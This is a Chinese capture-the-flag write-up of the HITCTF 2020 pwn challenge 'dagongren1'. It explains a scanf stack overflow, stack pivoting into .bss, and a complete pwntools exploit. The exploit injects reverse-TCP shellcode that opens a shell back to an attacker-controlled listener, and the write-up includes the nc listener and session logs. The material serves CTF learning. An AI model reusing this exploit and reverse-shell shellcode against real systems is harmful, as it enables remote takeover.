hitctf 2020 之 dagongren1

这是第一次在比赛的时候把题目给做出来了嘻嘻嘻。感谢王老师,为了让我把这题做完还请我吃烧烤,此处必须给王老师发一张超级Super无敌好人卡![狗头…]

1 漏洞点

题目下载:dagongren1

首先看一下程序的基本情况。

1
2
3
4
5
6
7
8
9
10
bling@bling:~/Desktop$ file dagongren1 
dagongren1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e5adcd14da3eedce7b1b4c36d62d68bd687e63bc, not stripped
bling@bling:~/Desktop$ checksec dagongren1
[*] '/home/bling/Desktop/dagongren1'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

x86架构下的64位程序,栈cookie、NX、PIE都没开,还有可读可写可执行的段,看起来这个题利用时没什么障碍。运行一下程序,然后看看IDA反汇编的源码,分析一下漏洞点。

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Good morning master");
puts(aWorkHardForYou);
puts("Come On");
_isoc99_scanf("%s", v4);
fclose(stdout);
fclose(stderr);
return 0;
}

可以看到scanf时有个栈溢出,溢出可以覆盖main函数返回地址,那么这就控制了eip。

2 利用

这个题控制eip很简单,但是怎么get shell呢?

1
2
3
4
5
6
7
8
9
10
11
12
1、到这里,我首先想到的是之前ctfwiki里的stack pivoting方法。想把shellcode布置在栈上,然后直接jmp rsp。但是无奈使用ROPgadget并没有找到“jmp rsp”这条指令,其他的看了看想了想也都不可行。所以只能放弃了。
bling@bling:~/Desktop$ ROPgadget --binary dagongren1 --only "jmp|ret"
Gadgets information
============================================================
0x00000000004006bb : jmp 0x400650
0x0000000000400803 : jmp 0x40087a
0x000000000040098b : jmp qword ptr [rbp]
0x000000000040094b : jmp qword ptr [rcx]
0x0000000000400635 : jmp rax
0x0000000000400581 : ret

2、然后,我又想通过泄露libc来执行system或execve,但是由于源码中有“fclose(stdout);”,使得程序的标准输出被关了,于是我不可能泄露出libc。最后也只能放弃该想法。

最后,在王老师的提示下,知道.bss段末尾在进程空间中有一段是可写的(要写到extern后面哦),加上该题程序未开启NX,因此这段还可以执行。所以就依靠ROP+栈迁移吧!

2.1 迁移rbp

迁移到哪里呢?一开始试了下迁移到0x600cf0,但是scanf的时候会在0x0c处截断,试了半天最后选择了0x600f0f。

main函数结尾处:

1
2
.text:0000000000400735                 leave
.text:0000000000400736 retn

相当于:

1
2
3
mov esp,ebp
pop ebp
pop rip

因此我们将rbp覆盖为栈迁移目的地址,将rip覆盖为我们想执行的代码。

2.2 在新栈中布置shellcode

rbp栈迁移后,我们需要在新的栈空间布置shellcode,因此必定还需要进行依次输入。查看main函数中scanf的上下文,如下:

1
2
3
4
5
.text:00000000004006FC                 lea     rax, [rbp+var_20]
.text:0000000000400700 mov rsi, rax
.text:0000000000400703 mov edi, offset aS ; "%s"
.text:0000000000400708 mov eax, 0
.text:000000000040070D call __isoc99_scanf

0x4006fc处是以rbp进行栈空间寻址的,因此在我们迁移完rbp后就可以立马进行下一次scanf输入了。构造过程如下图所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
         栈空间

+---------------+
| |
| | .bss段
+---------------+
| | +---------------+
+---------------+ | |
ret_addr | 0x4006fc | | |
+---------------+ | |
old_rbp | 0x600f0f +----------+ | |
+---------------+ v4+0x20 | | |
| | | | |
| | | | |
| | | | |
| | | | |
| padding | | | |
| | | | |
| | | | |
| | | +---------------+
| | | | |
| | +----------> +---------------+ 0x600f0f
| | | |
+---------------+ | |
| | | |
+---------------+ v4 +---------------+

2.3 控制eip执行shellcode

上一步骤中,scanf输入完毕后,main函数会继续执行到最后的leave;ret;,这里可以再次控制eip。需要提前布置好新栈中的数据。

因为是同一个main函数的栈,所以新栈的结构跟之前栈结构是一样的。这里需要将ret_addr处的地址改成shellcode的地址,这样main函数中执行到ret的时候就可以控制执行流了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
         栈空间

+---------------+
| |
| | .bss段
+---------------+
| | +---------------+
+---------------+ | |
ret_addr | 0x4006fc | | |
+---------------+ | |
old_rbp | 0x600f0f +----------+ | |
+---------------+ v4+0x20 | | shellcode |
| | | | |
| | | | |
| | | +---------------+
| | | ret_addr | addr |
| padding | | +---------------+
| | | old_rbp | padding |
| | +----------> +---------------+ 0x600f0f
| | | |
| | | |
| | | padding |
| | | |
+---------------+ | |
| | | |
+---------------+ v4 +---------------+ 0x600f0f-0x20

2.4 shellcode的选择

shellcode有一个官方网站:shell-storm

由于程序源码中有“fclose(stdout);”的限制,无法通过普通shellcode拿到shell。这大概是这道题对我来说最难的一部分了。对网络真的一窍不通o(╥﹏╥)o

为了绕过这一限制,最后使用了Reverse TCP shell这个shellcode,“反连TCP”的方法。

参考这篇文章大概了解了一下“反连TCP”这是个啥:metasploit中Payload的reverse_tcp和bind_tcp的区别

大概意思就是 说呢,reverse_tcp的方法需要我们在一台攻击服务器上打开一个监听端口(使用nc),payload在受害者机器上执行的时候,根据ip地址和端口来连接该攻击服务器,将信息传送给攻击者。而bind_tcp是指在受害者机器上开一个端口,然后攻击者连过去,如果受害者机器开了防火墙,这种方法就不会成功。因此,大多数时候我们都使用reverse_tcp。

参考nc工具使用,附加一个nc/telnet实现服务端/客户端连接的例子。

1
2
3
4
5
#服务端
#需要设置好监听端口的防火墙规则,否则其他机器无法建立连接
nc -p 33x -l -vv
#客户端
telnet 1xx.1xx.xx.xxx 33x

3 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

myelf = ELF('./dagongren1')
# 本地调试
# myproc = process(myelf.path)
# 打远程
myproc = remote("81.70.209.171",51601)

after_bss = 0x600f0f
scanf_gdt = 0x4006fc

payload1 = 'c' * 0x20
payload1 += p64(after_bss)
payload1 += p64(scanf_gdt)

# port - 33x,ip - 14x.12x.5x.1x
# 这里需要换成自己服务器的地址和ip哦,记得对应端口设置防火墙规则
# PORT端口号对应的十六进制
PORT = '\x8x\x4x'
# IPADDR对应的十六进制,通过'.'号分隔
IPADDR = '\x33\x33\x33\x33'
shellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
shellcode += "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0"
shellcode += "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24"
shellcode += "\x02"+ PORT + "\xc7\x44\x24\x04" + IPADDR + "\x48\x89\xe6\x6a\x10"
shellcode += "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48"
shellcode += "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a"
shellcode += "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54"
shellcode += "\x5f\x6a\x3b\x58\x0f\x05"

payload2 = 'a'*0x20
payload2 += 'bbbbbbbb'
payload2 += p64(after_bss + 0x10)
payload2 += shellcode

myproc.recvuntil("Come On")
# break at main -> leave;ret;
# gdb.attach(myproc,"b *0x400735")
myproc.sendline(payload1)
myproc.sendline(payload2)

myproc.interactive()

结果:

  • 服务端
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@iZt4n6o5h5zjwhe2ubl2uqZ:~# nc -p 33x -l -vv
Listening on [0.0.0.0] (family 0, port 33x)
Connection from 81.70.209.171 51786 received!
ls
bin
dev
flag
lib
lib32
lib64
libx32
pwn
cat flag

HITCTF2020{4957306aaa6ff77d77c310f5379addf7}
  • 本地
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
bling@bling:~/Desktop$ python poc.py 
[DEBUG] PLT 0x4005a0 puts
[DEBUG] PLT 0x4005a8 fclose
[DEBUG] PLT 0x4005b0 alarm
[DEBUG] PLT 0x4005b8 __libc_start_main
[DEBUG] PLT 0x4005c0 __gmon_start__
[DEBUG] PLT 0x4005c8 setvbuf
[DEBUG] PLT 0x4005d0 __isoc99_scanf
[*] '/home/bling/Desktop/dagongren1'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
[+] Opening connection to 81.70.209.171 on port 51601: Done
[DEBUG] Received 0x13 bytes:
'Good morning master'
[DEBUG] Received 0x3c bytes:
00000000 0a 57 6f 72 6b 20 68 61 72 64 20 66 6f 72 20 79 │·Wor│k ha│rd f│or y│
00000010 6f 75 72 20 62 6f 73 73 20 74 6f 20 6c 69 76 65 │our │boss│ to │live│
00000020 20 61 20 62 65 74 74 65 72 20 6c 69 66 65 21 f0 │ a b│ette│r li│fe!·│
00000030 9f 91 80 0a 43 6f 6d 65 20 4f 6e 0a │····│Come│ On·│
0000003c
[DEBUG] Sent 0x31 bytes:
00000000 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 │cccc│cccc│cccc│cccc│
*
00000020 0f 0f 60 00 00 00 00 00 fc 06 40 00 00 00 00 00 │··`·│····│··@·│····│
00000030 0a │·│
00000031
[DEBUG] Sent 0xa7 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000020 62 62 62 62 62 62 62 62 1f 0f 60 00 00 00 00 00 │bbbb│bbbb│··`·│····│
00000030 48 31 c0 48 31 ff 48 31 f6 48 31 d2 4d 31 c0 6a │H1·H│1·H1│·H1·│M1·j│
00000040 02 5f 6a 01 5e 6a 06 5a 6a 29 58 0f 05 49 89 c0 │·_j·│^j·Z│j)X·│·I··│
00000050 48 31 f6 4d 31 d2 41 52 c6 04 24 02 66 c7 44 24 │H1·M│1·AR│··$·│f·D$│
00000060 02 8x 4x c7 44 24 04 9x 8x 3x 8x 48 89 e6 6a 10 │··K·│D$··│·3·H│··j·│
00000070 5a 41 50 5f 6a 2a 58 0f 05 48 31 f6 6a 03 5e 48 │ZAP_│j*X·│·H1·│j·^H│
00000080 ff ce 6a 21 58 0f 05 75 f6 48 31 ff 57 57 5e 5a │··j!│X··u│·H1·│WW^Z│
00000090 48 bf 2f 2f 62 69 6e 2f 73 68 48 c1 ef 08 57 54 │H·//│bin/│shH·│··WT│
000000a0 5f 6a 3b 58 0f 05 0a │_j;X│···│
000000a7
[*] Switching to interactive mode

[*] Got EOF while reading in interactive
$